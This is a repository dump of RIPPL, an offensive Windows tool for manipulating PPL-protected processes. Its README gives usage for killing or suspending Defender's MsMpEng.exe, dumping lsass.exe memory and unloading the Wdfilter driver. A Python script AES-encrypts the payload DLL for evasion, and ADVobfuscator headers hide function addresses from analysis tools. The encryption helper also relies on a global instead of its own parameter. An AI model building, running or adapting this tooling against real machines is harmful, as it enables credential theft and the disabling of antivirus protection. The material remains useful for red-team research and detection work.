[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- Backup*.rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# JetBrains Rider\n.idea/\n*.sln.iml\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n/certs\n"
  },
  {
    "path": "DLL_encrypt.py",
    "content": "import sys\nimport os\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import pad\nfrom Crypto.Random import get_random_bytes\n\ndef aesenc(plain, key, iv):\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    return cipher.encrypt(bytes(pad(plaintext, AES.block_size)))\n\nkey_data = get_random_bytes(32)\niv_data = get_random_bytes(16)\n\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\x64\\\\Release\\\\RIPPLDLL_unencrypted.dll'\n    with open(file_path, 'rb') as file :\n        plaintext = file.read()\n    print(\"[+] Input unencrypted DLL read successfully!\")\nexcept:\n    print(\"[-] Failed to read input DLL\")\n    sys.exit(-1)\n\nciphertext = aesenc(plaintext, key_data, iv_data)\n\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\x64\\\\Release\\\\RIPPLDLL.dll'\n    with open(file_path, 'wb') as file :\n        file.write(ciphertext)\n    print(\"[+] DLL successfully encrypted!\")\nexcept:\n    print(\"[-] Failed to create the encrypted DLL\")\n    sys.exit(-1)\n\n# Read in the file\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\RIPPL\\\\utils.h'\n    with open(file_path, 'r') as file :\n      filedata = file.readlines()\nexcept:\n    print(\"[-] Failed to read the header to modify...\")\n    sys.exit(-1)\n\n# Replace the target string\nkey = '#define AESKEY { 0x' + ', 0x'.join(hex(x)[2:] for x in key_data) + ' };\\n'\niv = '#define IV { 0x' + ', 0x'.join(hex(x)[2:] for x in iv_data) + ' };\\n'\nnewdata = \"\"\nfor line in filedata:\n    if \"#define AESKEY\" in line:\n        line = key \n    elif \"#define IV\" in line:\n        line = iv \n    newdata += line\n\n# Write the file out again\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\RIPPL\\\\utils.h'\n    with open(file_path, 'w') as file :\n      file.write(newdata)\nexcept:\n    print(\"[-] Failed to write to the header...\")\n    sys.exit(-1)\n\nprint(\"[+] DLL encrypted. Key and IV saved to utils.h!\")"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2021 Clément Labro (@itm4n)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# RIPPL\n### Manipulating PPL protected processes without using a driver\n\n![defender funny](./defenderfunny.gif)\n\nThis tool implements a __userland__ exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw (a.k.a. [@tiraniddo](https://twitter.com/tiraniddo)) and Clément Labro (a.k.a. [@itm4n](https://twitter.com/itm4n)) in the following blogposts. \n\n- __Blog post from James Forshaw__: [Windows Exploitation Tricks](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)\n- __Blog post from Clément Labro part #1__: [Do You Really Know About LSA Protection (RunAsPPL)?](https://itm4n.github.io/lsass-runasppl/)\n- __Blog post from Clément Labro part #2__: [Bypassing LSA Protection in Userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/)\n\n\n## Usage\n\n### Warning: the safe version of the binary __NEVER__ outputs anything, as all the strings and print function are stripped away using conditional compilation macros.\nSimply run the executable without any argument and you will get a detailed help/usage (only valid for binaries compiled without defining the `OPSEC` macro)\n\n```console\nc:\\Temp>.\\rippl.exe\n  _____  _____ _____  _____  _\n |  __ \\|_   _|  __ \\|  __ \\| |\n | |__) | | | | |__) | |__) | |      version 0.1\n |  _  /  | | |  ___/|  ___/| |      by @last0x00\n | | \\ \\ _| |_| |    | |    | |____  forked by itm4n's PPLDump\n |_|  \\_\\_____|_|    |_|    |______|\n\nDescription:\n  Manipulate Protected Process Light (PPL) processes with a *userland* exploit\n\nUsage:\n  rippl.exe (-D|-K|-S|-R|-L|-X|-W|-Z|-T|-U) [-v] [-d] [-f] (PROC_NAME|PID) [DUMP_FILE|DRIVER_NAME]\n  () -> mandatory arguments\n  [] -> optional arguments\n\nOperation modes (choose ONLY one):\n  -D -> Dump the given process\n  -K -> Kill the given process\n  -S -> Suspend the given process\n  -R -> Resume the previously suspended process\n  -L -> Leak a PROCESS_ALL_ACCESS handle to the given process (not yet implemented)\n  -X -> Kill the given process by assigning it to a job object and terminating the object\n  -W -> Freeze the process by assigning it to a job object and severely constraining its CPU resources\n  -Z -> Kill the given process by injecting a thread into it which calls exit(0)\n  -T -> Sandbox the process by disabling all of its token's privileges and lowering integrity to untrusted\n  -U -> Unload the provided driver\n\nArguments:\n  PROC_NAME   -> The name of the process to interact with\n  PID         -> The ID of the process to interact with\n  DUMP_FILE   -> The path of the output dump file - valid ONLY with the -D option\n  DRIVER_NAME -> The name of the driver to unload - valid ONLY with the -U option\n\nOptions:\n  -d -> (Debug) Enable debug mode\n  -f -> (Force) Bypass DefineDosDevice error check\n\nExamples:\n  rippl.exe -K MsMpEng.exe\n  rippl.exe -S MsMpEng.exe\n  rippl.exe -R MsMpEng.exe\n  rippl.exe -D -f lsass.exe lsass.dmp\n  rippl.exe -D -d -f 720 out.dmp\n  rippl.exe -U Wdfilter\n```\n"
  },
  {
    "path": "RIPPL/Indexes.h",
    "content": "//\n//  Indexes.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef Indexes_h\n#define Indexes_h\n\n// std::index_sequence will be available with C++14 (C++1y). For the moment, implement a (very) simplified and partial version. You can find more complete versions on the Internet\n// MakeIndex<N>::type generates Indexes<0, 1, 2, 3, ..., N>\n\nnamespace andrivet { namespace ADVobfuscator {\n\ntemplate<int... I>\nstruct Indexes { using type = Indexes<I..., sizeof...(I)>; };\n\ntemplate<int N>\nstruct Make_Indexes { using type = typename Make_Indexes<N-1>::type::type; };\n\ntemplate<>\nstruct Make_Indexes<0> { using type = Indexes<>; };\n\n}}\n\n#endif\n"
  },
  {
    "path": "RIPPL/Inline.h",
    "content": "//\n//  Inline.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef Inline_h\n#define Inline_h\n\n#if defined(_MSC_VER)\n#define ALWAYS_INLINE __forceinline\n#else\n#define ALWAYS_INLINE __attribute__((always_inline))\n#endif\n\n#endif\n"
  },
  {
    "path": "RIPPL/Log.h",
    "content": "//\n//  Log.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef Log_h\n#define Log_h\n\n#include <iomanip>\n#include <iostream> // [fokede] mingw compatibility\n\nnamespace andrivet { namespace ADVobfuscator {\n\n// Inspired from work of Martin Stettner and Jimmy J\n\nstruct HexChar\n{\n    unsigned char c_;\n    unsigned width_;\n    HexChar(unsigned char c, unsigned width) : c_{c}, width_{width} {}\n};\n\ninline std::ostream& operator<<(std::ostream& o, const HexChar& c)\n{\n    return (o << std::setw(c.width_) << std::setfill('0') << std::hex << (int)c.c_ << std::dec);\n}\n\ninline HexChar hex(char c, int w = 2)\n{\n    return HexChar(c, w);\n}\n\n}}\n\n#if (defined(DEBUG) && DEBUG == 1) || (defined(ADVLOG) && ADVLOG == 1)\n#define LOG(str) std::cerr << str << std::endl\n#else\n#define LOG(str) ((void)0)\n#endif\n\n#endif\n"
  },
  {
    "path": "RIPPL/MetaFSM.h",
    "content": "//\n//  MetaFSM.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef MetaFSM_h\n#define MetaFSM_h\n\n#include <iostream>\n#include <tuple>\n#include <type_traits>\n\n#pragma warning(push)\n#pragma warning(disable: 4127 4100)\n#include <boost/msm/back/state_machine.hpp>\n#include <boost/msm/front/state_machine_def.hpp>\n// functors\n#include <boost/msm/front/functor_row.hpp>\n#include <boost/msm/front/euml/common.hpp>\n#pragma warning(pop)\n\n#include \"Indexes.h\"\n#include \"Unroller.h\"\n\n// Code common to our FSM (finite state machines)\n\nnamespace msm = boost::msm;\nnamespace mpl = boost::mpl;\nusing namespace boost::msm::front;\n\nnamespace andrivet { namespace ADVobfuscator {\n\n    // Same as void but can be instantiated\n    struct Void {};\n\n    // Event template to call a function F with a list of parameters.\n    // Note: F is passed as value.\n    template<typename R, typename F, typename... Args>\n    struct event\n    {\n        // Constructor\n        constexpr event(F f, Args&... args): f_{f}, data_{args...} {}\n\n        // Call target function\n        R call() const\n        {\n            // Generate a list of indexes to extract arguments from tuple\n            using I = typename Make_Indexes<sizeof...(Args)>::type;\n            return call_(I{});\n        }\n\n    private:\n        // When F is returning a value\n        template<typename U = R, int... I>\n        typename std::enable_if<!std::is_same<U, Void>::value, U>::type\n        call_(Indexes<I...>) const { return f_.original()(std::get<I>(data_)...); }\n\n        // When F does not return a value (void)\n        template<typename U = R, int... I>\n        typename std::enable_if<std::is_same<U, Void>::value, Void>::type\n        call_(Indexes<I...>) const { f_.original()(std::get<I>(data_)...); return Void{}; }\n\n    private:\n        F f_;\n        std::tuple<Args&...> data_;\n    };\n\n    // When function F is returning a value\n    // FSM: Finite State Machine\n    // R: Type of the returned value\n    // F: Function (target)\n    // Args: Arguments of target\n    template<template<typename, typename> class FSM, typename R, typename F, typename... Args>\n    inline R ObfuscatedCallRet(F f, Args&&... args)\n    {\n        using E = event<R, F, Args&...>;\n        using M = msm::back::state_machine<FSM<E, R>>;\n        using Run = typename FSM<E, R>::template Run<F, Args...>;\n\n        M machine;\n        Run::run(machine, f, std::forward<Args>(args)...);\n        return machine.result_;\n    }\n\n    // When function F is not returning a value\n    // FSM: Finite State Machine\n    // F: Function (target)\n    // Args: Arguments of target\n    template<template<typename, typename = Void> class FSM, typename F, typename... Args>\n    inline void ObfuscatedCall(F f, Args&&... args)\n    {\n        using E = event<Void, F, Args&...>;\n        using M = msm::back::state_machine<FSM<E, Void>>;\n        using Run = typename FSM<E, Void>::template Run<F, Args...>;\n\n        M machine;\n        Run::run(machine, f, std::forward<Args>(args)...);\n    }\n\n    // Note: It is possible to merge these two members with ObfuscatedCall and ObfuscatedCallRet (by introducing a TruePredicate) but it will make the 1st FSM example more complicated.\n\n    // When function F is returning a value\n    // FSM: Finite State Machine\n    // R: Type of the returned value\n    // P: Predicate (functor)\n    // F: Function (target)\n    // Args: Arguments of target\n    template<template<typename, typename, typename> class FSM, typename R, typename P, typename F, typename... Args>\n    inline R ObfuscatedCallRetP(F f, Args&&... args)\n    {\n        using E = event<R, F, Args&...>;\n        using M = msm::back::state_machine<FSM<E, P, R>>;\n        using Run = typename FSM<E, P, R>::template Run<F, Args...>;\n\n        M machine;\n        Run::run(machine, f, std::forward<Args>(args)...);\n        return machine.result_;\n    }\n\n    // When function F is not returning a value\n    // FSM: Finite State Machine\n    // P: Predicate\n    // F: Function (target)\n    // Args: Arguments of target\n    template<template<typename, typename, typename = Void> class FSM, typename P, typename F, typename... Args>\n    inline void ObfuscatedCallP(F f, Args&&... args)\n    {\n        using E = event<Void, F, Args&...>;\n        using M = msm::back::state_machine<FSM<E, P, Void>>;\n        using Run = typename FSM<E, P, Void>::template Run<F, Args...>;\n\n        M machine;\n        Run::run(machine, f, std::forward<Args>(args)...);\n    }\n\n    // Obfuscate the address of the target. Very simple implementation but enough to annoy IDA and Co.\n    template<typename F>\n    struct ObfuscatedAddress\n    {\n        // Pointer to a function\n        using func_ptr_t = void(*)();\n        // Integral type big enough (and not too big) to store a function pointer\n        using func_ptr_integral = std::conditional<sizeof(func_ptr_t) <= sizeof(long), long, long long>::type;\n\n        func_ptr_integral f_;\n        int offset_;\n\n        constexpr ObfuscatedAddress(F f, int offset): f_{reinterpret_cast<func_ptr_integral>(f) + offset}, offset_{offset} {}\n        constexpr F original() const { return reinterpret_cast<F>(f_ - offset_); }\n    };\n\n    // Create a instance of ObfuscatedFunc and deduce types\n    template<typename F>\n    constexpr ObfuscatedAddress<F> MakeObfuscatedAddress(F f, int offset) { return ObfuscatedAddress<F>(f, offset); }\n\n}}\n\n#endif\n"
  },
  {
    "path": "RIPPL/MetaRandom.h",
    "content": "//\n//  MetaRandom.h\n//  ADVobfuscator\n//\n// Copyright (c) 2010-2017, Sebastien Andrivet\n// All rights reserved.\n//\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n//\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n//\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Get latest version on https://github.com/andrivet/ADVobfuscator\n\n#ifndef MetaRandom_h\n#define MetaRandom_h\n\n// Very simple compile-time random numbers generator.\n\n// For a more complete and sophisticated example, see:\n// http://www.researchgate.net/profile/Zalan_Szgyi/publication/259005783_Random_number_generator_for_C_template_metaprograms/file/e0b49529b48272c5a6.pdf\n\n#include <random>\n\nnamespace andrivet { namespace ADVobfuscator {\n\nnamespace\n{\n    // I use current (compile time) as a seed\n\n    constexpr char time[] = __TIME__; // __TIME__ has the following format: hh:mm:ss in 24-hour time\n\n    // Convert time string (hh:mm:ss) into a number\n    constexpr int DigitToInt(char c) { return c - '0'; }\n    const int seed = DigitToInt(time[7]) +\n                     DigitToInt(time[6]) * 10 +\n                     DigitToInt(time[4]) * 60 +\n                     DigitToInt(time[3]) * 600 +\n                     